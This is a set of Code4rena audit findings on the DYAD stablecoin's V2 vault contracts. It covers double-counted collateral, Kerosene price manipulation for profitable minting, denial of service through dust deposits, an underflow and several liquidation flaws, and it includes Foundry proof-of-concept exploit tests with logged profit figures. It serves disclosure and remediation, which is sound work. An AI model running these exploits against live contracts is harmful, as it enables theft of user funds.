DYAD - VAD37's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/KerosineManager.sol#L44-L51 https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L269-L286 https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/script/deploy/Deploy.V2.s.sol#L105-L106 https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L88

Vulnerability details

TVL calculation: Total Collateral USD value = non-Kerosene vault deposit + KEROSINE vault deposit User can borrow DYAD stable coin using non-Kerosene vault deposit as collateral.

If user deposit some KEROSINE token, it help user from liquidation. Because CollateralRatio using both nonKerosene and KEROSINE as collateral. While minting stable DYAD only use non-Kerosene vault like WETH vault.

The underlying problem with current codebase is KerosineManager license consider non-Kerosene vault as Kerosene vault. This result in: Total Collateral USD value = non-Kerosene vault deposit + non-Kerosene vault deposit

Impact

Non-Kerosene vault is calculated twice as collateral. User can exploit inflated CollateralRatio to twice value of "actual" CollateralRatio.

Preventing liquidation from happening with bad loan.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import "../../script/deploy/Deploy.V2.s.sol";
import { Licenser } from "../../src/core/Licenser.sol";
import { Parameters } from "../../src/params/Parameters.sol";

contract V2Test is Test, Parameters {
  Contracts contracts;

  function setUp() public {
    contracts = new DeployV2().run();
    vm.startPrank(MAINNET_OWNER);
    //include boundedKerosineVault
    contracts.vaultLicenser.add(address(contracts.boundedKerosineVault));
    // Add vaultManagerV2 to v1 licenser so it can mint DYAD
    Licenser(MAINNET_VAULT_MANAGER_LICENSER).add(address(contracts.vaultManager));
    vm.stopPrank();

  }
  function testBorrowTwiceDeposit() public {
    address user = address(0x11111);
    vm.startPrank(user);
    deal(user, 100 ether);
    uint256 id = DNft(MAINNET_DNFT).mintNft{ value: 10 ether }(user); //@refunfed
    //setup vault
    VaultManagerV2 vaultManagerV2 = VaultManagerV2(contracts.vaultManager);
    ERC20(MAINNET_WETH).approve(address(vaultManagerV2), type(uint256).max);
    vaultManagerV2.add(id, address(contracts.ethVault));
    //deposit
    deal(MAINNET_WETH, user, 10 ether);
    vaultManagerV2.deposit(id, address(contracts.ethVault), 10 ether);    

    //10 ETH with  3100$ price = 31000$ total TVL
    console.log("totalTVL %e", vaultManagerV2.getTotalUsdValue(id));
    // borrow 6.66 ETH worth of DYAD. //max borrow = totalTVL / 1.5
    uint maxBorrow = (vaultManagerV2.getTotalUsdValue(id) * 1e18 / 1.5e18) - 1;
    console.log("maxBorrow DYAD %e", maxBorrow);
    vaultManagerV2.mintDyad(id, maxBorrow ,user);
    console.log("collatRatio %e", vaultManagerV2.collatRatio(id));

    console.log("add kerosene vault");
    //after add kerosene vault. TVL now double.
    vaultManagerV2.addKerosene(id, address(contracts.ethVault));    
    console.log("totalTVL %e", vaultManagerV2.getTotalUsdValue(id));

    //liquidation now impossible due to collatRatio just become double while debt stay the same.
    // collateral ratio is <100%. user profit from borrowing
    console.log("collatRatio %e", vaultManagerV2.collatRatio(id));
    vm.stopPrank();
  }
}

Tools Used

Recommended Mitigation Steps

Do not use KeroseneManager as licenser. Use sepatate Licenser.sol contract. KerosineManager should only be used to calculate total TVL of non-kerosene Vault from both V1 and V2 vaults.

// src\core\VaultManagerV2.sol
  Licenser public immutable vaultLicenser;
+++  Licenser public immutable keroseneVaultLicenser;
  
  function addKerosene(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults();
---    if (!keroseneManager.isLicensed(vault))                 revert VaultNotLicensed();
+++    if (!keroseneVaultLicenser.isLicensed(vault))                 revert VaultNotLicensed();
    if (!vaultsKerosene[id].add(vault))                     revert VaultAlreadyAdded();
    emit Added(id, vault);
  }

// script\deploy\Deploy.V2.s.sol

---    kerosineManager.add(address(ethVault));
---    kerosineManager.add(address(wstEth));
// use different licenser contract
+++    Licenser keroseneVaultLicenser = new Licenser();
+++    keroseneVaultLicenser.add(address(ethVault));
+++    keroseneVaultLicenser.add(address(wstEth));

Assessed type

Math

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/script/deploy/Deploy.V2.s.sol#L93-L96 https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L165

Vulnerability details

This report consisted of 2 underlying issues:

1. VaultManagerV2 accept KerosineVault as collateral. KEROSENE token portion of collateral should be limited to 33% of TVL. But VaultManagerV2 consider unbounded and bounded KeroseneVault as normal vault, $KEROSENE can be used as collateral for DYAD minting.
2. $KEROSENE price calculation depend on TVL and DYAD total supply. Both can easily manipulated by user through flashloan lots of funds.

Combine these two issues. It is possible to manipulate Kerosene price and mint free DYAD in flashloan attack.

Impact

Available flashloan exploit to mint free DYAD with current implementation.

Proof of Concept

The script below demonstrate flashloan attack on current mainnet condition if VaultManagerV2 is deployed.

Swapping 9 ETH for KEROSENE token on uniswap and make a small profit ranging from $100 to $70000. Including flashloan and swapping fee. Maybe profit reduce to $10000.

The profit will be double if boundedKerosene vault is accepted as collateral.

Script tested with foundry and fork_block_number=19722400

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import "../../script/deploy/Deploy.V2.s.sol";
import { Licenser } from "../../src/core/Licenser.sol";
import { Parameters } from "../../src/params/Parameters.sol";

interface IUniswapRouterV2V3 {
  function swapExactETHForTokens(
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external payable returns (uint256[] memory amounts);
  function swapExactTokensForTokens(
    uint256 amountIn,
    uint256 amountOutMin,
    address[] calldata path,
    address to
  ) external payable returns (uint256 amountOut);
}

contract V2Test is Test, Parameters {
  Contracts contracts;
  IUniswapRouterV2V3 uniswapV2Router =
    IUniswapRouterV2V3(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
  IUniswapRouterV2V3 uniswapV3Router =
    IUniswapRouterV2V3(0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45);

  function setUp() public {
    contracts = new DeployV2().run();
    vm.startPrank(MAINNET_OWNER);
    //include boundedKerosineVault
    contracts.vaultLicenser.add(address(contracts.boundedKerosineVault));
    // Add vaultManagerV2 to v1 licenser so it can mint DYAD
    Licenser(MAINNET_VAULT_MANAGER_LICENSER).add(address(contracts.vaultManager));
    vm.stopPrank();
  }

  function testKEROSENE() public {
    vm.startPrank(MAINNET_OWNER);
    //include 2 V1 vaults into keroseneManager so it calcualte TVL correctly.
    contracts.kerosineManager.add(address(MAINNET_WETH_VAULT));
    contracts.kerosineManager.add(address(MAINNET_WSTETH_VAULT));
    vm.stopPrank();
    address user = address(0x11111);
    vm.startPrank(user);

    //buying new NFT ID
    deal(user, 10 ether);
    uint256 id = DNft(MAINNET_DNFT).mintNft{ value: 1 ether }(user); //@refunfed
    uint256 id2 = DNft(MAINNET_DNFT).mintNft{ value: 1 ether }(user); //@refunfed

    uint256 startingEthBalance = address(user).balance;

    //setup vault
    VaultManagerV2 vaultManagerV2 = VaultManagerV2(contracts.vaultManager);
    ERC20(MAINNET_WETH).approve(address(vaultManagerV2), type(uint256).max);

    vaultManagerV2.add(id, address(contracts.ethVault));
    vaultManagerV2.add(id2, address(contracts.ethVault));
    vaultManagerV2.add(id, address(contracts.wstEth));
    vaultManagerV2.add(id, address(contracts.unboundedKerosineVault));
    // console.log("denominator %e", contracts.kerosineDenominator.denominator()); //
    console.log("ethVaultPrice %e", contracts.ethVault.assetPrice()); //3.2472e11
    console.log("wstEthPrice %e", contracts.wstEth.assetPrice()); //3.79132877826e11
      // we test use kerosine to make print unfair DYAD price
      // KEROSINE price is fixed when print. then it drop value when minted DYAD
      //using all available ethereum to to buy all possible KEROSENE on uniswapv2.
    {
      address[] memory path = new address[](2);
      path[0] = MAINNET_WETH;
      path[1] = MAINNET_KEROSENE;

      console.log("swap %e ETH for KEROSENE", startingEthBalance);
      uniswapV2Router.swapExactETHForTokens{ value: address(user).balance }(
        0, path, address(user), block.timestamp + 100
      );
      uint256 keroseneBalance = ERC20(MAINNET_KEROSENE).balanceOf(user);
      console.log("KEROSENE receive %e", keroseneBalance);
      console.log(
        "KEROSENE USD price in UniswapV2: %e ",
        startingEthBalance * contracts.ethVault.assetPrice() * 1e18 / keroseneBalance / 1e8
      );

      ERC20(MAINNET_KEROSENE).approve(address(vaultManagerV2), type(uint256).max);
      vaultManagerV2.deposit(id, address(contracts.unboundedKerosineVault), keroseneBalance);
    }

    //get 8.6e23 = 860,000 KEROSENE
    //total KEROSENE is 50M
    // 1M $ in collateral

    //deposit huge amount of WETH as collateral and see how priced changed
    console.log("-------BEFORE DEPOSIT--------");
    console.log("KEROSENE vault price: %e", contracts.unboundedKerosineVault.assetPrice());
    console.log("DNFT only KEROSENE total USD value: %e", vaultManagerV2.getTotalUsdValue(id));
    // KEROSINE price not depend on KERO deposit into vault. Only WETH and wstETH affect price.
    // the more WETH deposit into vault, the more KEROSINE price increase. the more DYAD can be printed.
    // if user deposit 1 million $ WETH deposit. KEROSINE price worth double uniswap price.

    //TVL is $1,696,647 , 500 ether ~$1,500,000
    
    //deposit 500 WETH will barely make a profit
    // deal(MAINNET_WETH, user, 500 ether); 

    //deposit 2500 WETH to demonstrate flashloan profit
    deal(MAINNET_WETH, user, 2500 ether); 
    
    ERC20(MAINNET_WETH).approve(address(vaultManagerV2), type(uint256).max);
    //deposit 100 WETH into vault ID 2 to prevent mixing with vault ID 1
    vaultManagerV2.deposit(id2, address(contracts.ethVault), ERC20(MAINNET_WETH).balanceOf(user));

    console.log("-------AFTER WETH DEPOSIT--------");
    console.log("KEROSENE vault price: %e", contracts.unboundedKerosineVault.assetPrice());
    console.log("DNFT only KEROSENE total USD value: %e", vaultManagerV2.getTotalUsdValue(id));

    //$KEROSENE price got pumped up
    //collateral with KEROSENE only also rise too

    // try mint DYAD to maximum collateral value
    // cannot mint DYAD 66.67% collateral because post mint also have collateral ratio check too
    // post mint also affect collateral ratio.
    console.log("-------MINTING DYAD--------");
    uint256 maxMint = vaultManagerV2.getTotalUsdValue(id) * 1e18 / 1.55e18;
    console.log("try minting %e DYAD", maxMint);
    vaultManagerV2.mintDyad(id, maxMint, user);
    console.log("after mint collateral ratio %e", vaultManagerV2.collatRatio(id));
    // vaultManagerV2.mintDyad(id2, vaultManagerV2.getTotalUsdValue(id2) * 1e18 / 1.51e18, address(this));
    // console.log("after mint collateral ratio %e", vaultManagerV2.collatRatio(id2));

    console.log("-------AFTER MINTING--------");
    console.log("KEROSENE vault price: %e", contracts.unboundedKerosineVault.assetPrice());
    console.log("DNFT only KEROSENE total USD value: %e", vaultManagerV2.getTotalUsdValue(id));
    console.log("DYAD balance: %e", ERC20(MAINNET_DYAD).balanceOf(user));
    console.log(
      "loan %e WETH worth %e USD for %e DYAD",
      startingEthBalance,
      startingEthBalance * contracts.ethVault.assetPrice() / 1e8,
      ERC20(MAINNET_DYAD).balanceOf(user)
    );
    console.log("profit: %e", ERC20(MAINNET_DYAD).balanceOf(user) - startingEthBalance * contracts.ethVault.assetPrice() / 1e8);

    vm.stopPrank();
  }
}

Console

Running 1 test for test/fork/v2.t.sol:V2Test
[PASS] testKEROSENE() (gas: 2139922)
Logs:
  ethVaultPrice 3.2363699761e11
  wstEthPrice 3.75558974096e11
  swap 8.739e18 ETH for KEROSENE
  KEROSENE receive 8.0615515923329408428214e23
  KEROSENE USD price in UniswapV2: 3.5083366889367209e16
  -------BEFORE DEPOSIT--------
  unbounded TVL: 1.696647466962235650916396e24
  DYAD totalSupply: 6.329674e23
  KEROSENE vault price: 2.163796e6
  unbounded TVL: 1.696647466962235650916396e24
  DYAD totalSupply: 6.329674e23
  DNFT only KEROSENE total USD value: 1.7443553089283648063933e22
  -------AFTER WETH DEPOSIT--------
  unbounded TVL: 9.787572407212235650916396e24
  DYAD totalSupply: 6.329674e23
  KEROSENE vault price: 1.86228e7
  unbounded TVL: 9.787572407212235650916396e24
  DYAD totalSupply: 6.329674e23
  DNFT only KEROSENE total USD value: 1.50128662993697890727694e23
  -------MINTING DYAD--------
  unbounded TVL: 9.787572407212235650916396e24
  DYAD totalSupply: 6.329674e23
  try minting 9.6857201931417994017867e22 DYAD
  unbounded TVL: 9.787572407212235650916396e24
  DYAD totalSupply: 6.329674e23
  unbounded TVL: 9.787572407212235650916396e24
  DYAD totalSupply: 7.29824601931417994017867e23
  cr after mint: 1.533600768949889382e18
  unbounded TVL: 9.787572407212235650916396e24
  DYAD totalSupply: 7.29824601931417994017867e23
  after mint collateral ratio 1.533600768949889382e18
  -------AFTER MINTING--------
  unbounded TVL: 9.787572407212235650916396e24
  DYAD totalSupply: 7.29824601931417994017867e23
  KEROSENE vault price: 1.8425768e7
  unbounded TVL: 9.787572407212235650916396e24
  DYAD totalSupply: 7.29824601931417994017867e23
  DNFT only KEROSENE total USD value: 1.48540279360357346727551e23
  DYAD balance: 9.6857201931417994017867e22
  loan 8.739e18 WETH worth 2.82826372211379e22 USD for 9.6857201931417994017867e22 DYAD
  profit: 6.8574564710280094017867e22

References

Vault allow user to deposit NonKeroseneValue assets token to mint DYAD. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L165

Deployments script add unbounded and bounded Kerosene Vault as normal vault. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/script/deploy/Deploy.V2.s.sol#L93-L96

This meant, user can deposit $KEROSENE to mint DYAD.

$KEROSENE price = (TVL - DYAD supply) / KEROSENE in circulation.

KEROSENE in circulation is cannot be easily manipulated. TVL can be increase by deposit WETH into Vault V1 or Vault V2. TVL - DYAD supply can be decrease by minting more DYAD.

Simply by deposit lots of WETH. price of KEROSENE will shoot up. Buy cheap value KEROSENE and with over-inflated price mint more DYAD.

Tools Used

Recommended Mitigation Steps

Do both of these:

1. Move NonKeroseneValue check after mint DYAD.

  function mintDyad(//@borrow
    uint    id,
    uint    amount,
    address to
  )
    external 
      isDNftOwner(id)
  {
    uint newDyadMinted = dyad.mintedDyad(address(this), id) + amount;
---    if (getNonKeroseneValue(id) < newDyadMinted)     revert NotEnoughExoCollat();
    dyad.mint(id, to, amount);
    /// @audit move check after because KEROSINE price affected by minting new DYAD. getNonKeroseneValue() not supposed to hold KEROSENE. but just in case.
+++     if (getNonKeroseneValue(id) < newDyadMinted)     revert NotEnoughExoCollat();    
    uint cr = collatRatio(id);
    
    if (cr < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); 
    emit MintDyad(id, amount, to);
  }

2. Do not use KEROSENE as collateral for stable coin. Move bounded and unbounded kerosene vault to KeroseneVault Manager.

Assessed type

Math

    uint newDyadMinted = dyad.mintedDyad(address(this), id) + amount;
    if (getNonKeroseneValue(id) < newDyadMinted)     revert NotEnoughExoCollat();
    dyad.mint(id, to, amount);
    if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); 

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L143 https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L127

Vulnerability details

VaultManagerV2.deposit() allow anyone to deposit to any NFT account.

New flashloan protection prevent user from deposit and withdrawal from same block. This also allow anyone to DOS withdrawal by frontrun deposit 0 token before withdrawal transaction.

Impact

With current DANCUN gas price 10gwei. It cost ~0.2$ to DOS withdrawal. Because there is only active 300 DNFT in circulation, 300 user can make withdrawal. It is quite cheap to make DOS attacks just for annoying people.

Proof of Concept

This test was used to get DOS minimum 4000 gas figure.

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import "../../script/deploy/Deploy.V2.s.sol";
import { Licenser } from "../../src/core/Licenser.sol";
import { Parameters } from "../../src/params/Parameters.sol";

contract VaultTest {
  function asset() external view returns (address) {
    return address(this);
  }

  function transferFrom(address from, address to, uint256 value) external returns (bool) {
    return true;
  }

  function deposit(uint256 id, uint256 amount) external { }
}

contract V2Test is Test, Parameters {
  Contracts contracts;

  function setUp() public {
    contracts = new DeployV2().run();
  }


  function testGasCostDeposit() public {
    address user = address(0x11111);
    vm.startPrank(user);
    //buying new NFT ID
    deal(user, 100 ether);
    uint256 id = DNft(MAINNET_DNFT).mintNft{ value: 10 ether }(user); //@refunfed

    //setup vault
    VaultManagerV2 vaultManagerV2 = VaultManagerV2(contracts.vaultManager);
    vaultManagerV2.add(id, address(contracts.ethVault));

    ERC20(MAINNET_WETH).approve(address(vaultManagerV2), type(uint256).max);
    deal(MAINNET_WETH, user, 10 ether);
    vaultManagerV2.deposit(id, address(contracts.ethVault), 10 ether);

    VaultTest vaultTest = new VaultTest();
    uint gas_before = gasleft();
    vaultManagerV2.deposit(id, address(vaultTest), 0);
    uint gas_after = gasleft();
    console.log("gas cost %e", gas_before - gas_after);
    //@ 3.976e3 gas
    vm.stopPrank();
  }

}

Tools Used

Recommended Mitigation Steps

Include unique minimum deposit in each vault. Admin should be allowed to change this. Vault will revert if deposit amount is too small.

Or timelock withdrawal work pretty well.

contract Vault is IVault {
    
  uint public MINIMUM_DEPOSIT;


  function deposit(
    uint id,
    uint amount
  )
    external onlyVaultManager
  {
    require(amount >= MINIMUM_DEPOSIT, "deposit too small");
    id2asset[id] += amount;
    emit Deposit(id, amount);
  }

  function updateMinimumDeposit(uint amount) public {
    require(msg.sender == vaultManager.vaultLicenser().owner());
    MINIMUM_DEPOSIT = amount;
  }

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/Vault.kerosine.unbounded.sol#L67

Vulnerability details

The underlying issue is V2 Unbounded vault price calculation not include V1 vaults TVL. This broke logic rule describe here: https://dyadstable.notion.site/KEROSENE-Equations-Final-8655c83e0b7d44f883b9a99f499866c3

Impact

Incorrect Kerosene price calculated using only V2 vaults TVL. This cause several issues:

• Kerosene USD Price is undervalued. TVL smaller than it should be. Make it easier to manipulate price.
• User can't withdraw/mint/liquidate NFT include Unbounded Kerosine vault as collateral. This is because collatRatio() revert when V2 vault TVL smaller than DYAD totalSupply.

Proof of Concept

UnboundedKerosineVault.assetPrice() always underflow at this line: uint numerator = tvl - dyad.totalSupply();

tvl = total deposit USD value in WETH vault and wstVault dyad.totalSupply() = total minted DYAD stablecoin from both VaultManager V1 and V2

There is already 600,000 DYAD token minted from V1. So user must deposit 600,000$ worth of WETH or wstETH into VaultManagerV2 vaults. Just so Kerosene calculation not underflow.

Vaults array loop only through latest V2 vaults. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/script/deploy/Deploy.V2.s.sol#L74-L75 KerosineManager did not add V1 vaults address. So it can't calculate total TVL correctly.

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import "../../script/deploy/Deploy.V2.s.sol";
import { Licenser } from "../../src/core/Licenser.sol";
import { Parameters } from "../../src/params/Parameters.sol";


contract V2Test is Test, Parameters {
  Contracts contracts;

  function setUp() public {
    contracts = new DeployV2().run();
    vm.startPrank(MAINNET_OWNER);
    //include boundedKerosineVault
    contracts.vaultLicenser.add(address(contracts.boundedKerosineVault));
    // Add vaultManagerV2 to v1 licenser so it can mint DYAD
    Licenser(MAINNET_VAULT_MANAGER_LICENSER).add(address(contracts.vaultManager));
    vm.stopPrank();
  }

  function testDenominator() public {
    address user = address(0x11111);
    vm.startPrank(user);

    //buying new NFT ID
    deal(user, 100 ether);
    uint256 id = DNft(MAINNET_DNFT).mintNft{ value: 10 ether }(user); //@refunfed

    //setup vault
    VaultManagerV2 vaultManagerV2 = VaultManagerV2(contracts.vaultManager);
    ERC20(MAINNET_WETH).approve(address(vaultManagerV2), type(uint256).max);

    vaultManagerV2.add(id, address(contracts.ethVault));
    vaultManagerV2.add(id, address(contracts.wstEth));

    //388 WETH inside V1 vault. so new vault must have 400 ETH before it can be run.
    uint256 wethPrice = (contracts.ethVault.assetPrice() * 1e18) / 1e8;
    uint256 totalDYAD = Dyad(MAINNET_DYAD).totalSupply();
    uint256 minimumETH = (totalDYAD / wethPrice) * 1e18;
    console.log("minimum ETH for Kerosine vault to work %e", minimumETH);

    deal(MAINNET_WETH, user, minimumETH + 10 ether);
    uint256 depositAmount = minimumETH + 1e1;
    vaultManagerV2.deposit(id, address(contracts.ethVault), depositAmount);
    //197 ETH with  3100$ price = 610700$ total TVL
    console.log("totalTVL %e", vaultManagerV2.getTotalUsdValue(id));
    vaultManagerV2.addKerosene(id, address(contracts.ethVault));
    vaultManagerV2.addKerosene(id, address(contracts.wstEth));
    console.log("totalTVL %e", vaultManagerV2.getTotalUsdValue(id));

    //@audit try withdrawal will just fail
    vm.roll(block.number + 1);
    vaultManagerV2.withdraw(id, address(contracts.ethVault), 0,user);

    console.log("collatRatio %e", vaultManagerV2.collatRatio(id));
    console.log("denominator %e", contracts.kerosineDenominator.denominator());
    console.log("ethVaultPrice %e", contracts.ethVault.assetPrice());
    console.log("wstEthPrice %e", contracts.wstEth.assetPrice());
    //@audit this fail
    console.log("unboundedAssetPrice %e", contracts.unboundedKerosineVault.assetPrice());
    console.log("boundedAssetPrice %e", contracts.boundedKerosineVault.assetPrice());

    vm.stopPrank();
  }

}

price manipulation

If KerosineManager only include V2 Vaults. Exploiter can use V1 vaults to mint lots DYAD. This increase DYAD totalSupply while TVL stay the same. KerosineManager price of KEROSENE will just drop to zero if there is enough DYAD minted. Causing KEROSENE vault collateral on V2 price drop significantly. Allowing liquidation of everyone who use KEROSENE as collateral. Refund DYAD and repay flashloan and profit.

Tools Used

Recommended Mitigation Steps

Kerosine asset price should be moved to its own custom oracle that track all vaults. From both v1 and v2 vaults

KeroseneManager should not be used as Licenser contract. Separate Licenser logic from KerosineManager work better.

Assessed type

Under/Overflow

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L221-L226

Vulnerability details

CollateralRatio = (total nonKerosene Vault value + total Kerosene Vault value) / $DYAD debt

Non-KeroseneVault is accepted for minting DYAD stablecoin with 100% of collateral value. KeroseneVault cannot be used to mint stablecoin but it can be used as extra collateral, so total collateral is above 150% threshold for loan.

But Liquidator can only take all assets from nonKerosene Vault. So if Kerosene Vault value worth more than 33% of total collateral value, liquidation will not profitable. Because, Debt > Non-KeroseneVault value

Impact

No one have incentive to liquidate bad vault loan if user deposit lots of Kerosene vault token.

Proof of Concept

Liquidation check if CollateralRatio is less than 150%. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L213

Total collateral value in USD is sum of all vaults value in USD. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L247

Because minting DYAD stablecoin only use nonKerosene vault. Allow borrow maximum 100% from nonKerosene collateral. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L165 As long as Kerosene vault value include make collateral >= 150%. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L167

It also make sense to only give liquidator asset from nonKerosene vault. Because value of some KeroseneVault can be inflated like BoundedKeroseneVault. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L221-L226

For example, user borrow 1000 DYAD with $1000 WETH as collateral and $600 KEROSENE in KeroseneVault. WETH price drop. $1000 WETH not only worth $800 Total collateral = $800+ $600 = $1400

Which is less than 1500$ debt.

Liquidator can pay 1000 DYAD to take 800$ WETH from nonKerosene vault. Which they will not do because it is not profitable.

Tools Used

Recommended Mitigation Steps

Consider give keroseneVault assets as well during liquidation calculation.

Assessed type

Math

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/Vault.kerosine.bounded.sol#L49 https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/script/deploy/Deploy.V2.s.sol#L97-L101

Vulnerability details

setUnboundedKerosineVault() should be called on deployment.

Impact

BoundedKerosineVault.assetPrice() call always revert. Preventing user from using KEROSENE as collateral to mint DYAD.

If user add KerosineVault as collateral, it also affect withdrawal/minting DYAD tokens of other vaults too as collateral calculation will revert.

Admin can fix this later by call setUnboundedKerosineVault() on BoundedKerosineVault.sol.

Proof of Concept

variable unboundedKerosineVault address is still empty value. It should be set to UnboundedKerosineVault address during deployment. VaultManagerV2 loop through all active vault and call assetPrice() on each vault to calculate total asset price. If this function does not work, collateral calculation will fail. This affect Withdrawal and Minting functions.

Tools Used

Recommended Mitigation Steps

Call setUnboundedKerosineVault() on BoundedKerosineVault.sol during deployment.

    UnboundedKerosineVault unboundedKerosineVault = new UnboundedKerosineVault(
      vaultManager,
      Kerosine(MAINNET_KEROSENE), 
      Dyad    (MAINNET_DYAD),
      kerosineManager
    );

    BoundedKerosineVault boundedKerosineVault     = new BoundedKerosineVault(
      vaultManager,
      Kerosine(MAINNET_KEROSENE), 
      kerosineManager
    );

    KerosineDenominator kerosineDenominator       = new KerosineDenominator(
      Kerosine(MAINNET_KEROSENE)
    );
+++    boundedKerosineVault.setUnboundedKerosineVault(unboundedKerosineVault);
    unboundedKerosineVault.setDenominator(kerosineDenominator);

    unboundedKerosineVault.transferOwnership(MAINNET_OWNER);
    boundedKerosineVault.  transferOwnership(MAINNET_OWNER);

Assessed type

Error

Judge has assessed an item in Issue #601 as 2 risk. The relevant finding follows:

DOS remove() vault. Anyone can deposit dust token to prevent remove vault from active list VaultManagerV2 allow 5 max normal vaults and 5 max Kerosene vault. To remove vault from active vault list. User must have no deposit inside these vault. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L101

This can be prevented by other user. Other user can deposit into any DNFT id. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L125

By frontrun depositing 1 wei token, remove() vault transaction will fail.

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/Vault.kerosine.unbounded.sol#L65

Vulnerability details

In V2, user total collateral value = NonKerosene collateral + KeroseneVault collateral

Because KEROSENE token price can easily manipulated, so is the KeroseneVault collateral value.

With 150% of collateralRatio minimum before liquidation. If V2 user have 160% collateralRatio, with 120% made of NonKerosene collateral and 40% made of KeroseneVault collateral.

Impact

These user become target for forced liquidation by dropping KeroseneVault value from 40% to 30%. With no fee for exploiter.

Exploiter can force KEROSENE price to drop along with KeroseneVault value and collateral ratio fall below 150%. Then liquidate V2 vaults for small profit.

With some restrictions:

• Exploiter MUST already deposit lots WETH in V1 vaults, but not taking any DYAD debt
• There is liquidable target hover around 160% collateral ratio with lots of Kerosene as collateral.
• Liquidation also refund KeroseneVault collateral to liquidator. Current project implementation did not take KeroseneVault value and transfer it to liquidator.
• This exploit does not work with flashloan.
• KEROSENE price depend on total TVL of both V1 and V2 like docs. Current implementation only use V2 TVL to calculate KEROSENE price, which make this exploit easier.
• Kerosene vaults is actual bounded,unbounded Kerosine vaults and not WETH,wstETH vaults like in current codebase.

Proof of Concept

Here is simplified price formular from Docs and code:

• Kerosene Price = (Total value Locked from V1 vaults and V2 Vault - minted DYAD supply) / KEROSENE in circulation
• Price = (TVL - debt)/ KEROSENE in circulation

The only way for exploiter to benefit from decreasing Kerosene Price is liquidation. By increasing DYAD supply, Kerosene Price will drop. KeroseneVault evaluation will drop as well. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/Vault.kerosine.unbounded.sol#L65

To increase DYAD supply, simply exploiter must already have lots of WETH deposit inside Vaults but not minting any DYAD. Then by minting maximum DYAD available, (TVL - debt) value will decrease. There is no fee for minting and redeem DYAD so user can repay this later at no cost.

Now CollatRatio depend on totalUSD value / borrow DYAD. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L230-L239

Kerosene Vault values depend on vault calculating value. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/VaultManagerV2.sol#L271-L288

Because in current codebase, wrong KeroseneVault is added to VaultManagerV2 https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/script/deploy/Deploy.V2.s.sol#L64-L65 https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/script/deploy/Deploy.V2.s.sol#L95-L96

Just assume getKeroseneValue() call into correct vault which are UnboundedKerosineVault and BoundedKerosineVault. Kerosene price calculation follow formula above. https://github.com/code-423n4/2024-04-dyad/blob/49fb7174576e5147dc73d3222d16954aa641a2e0/src/core/Vault.kerosine.unbounded.sol#L58-L67

Kerosene price drop so are KeroseneVault value.

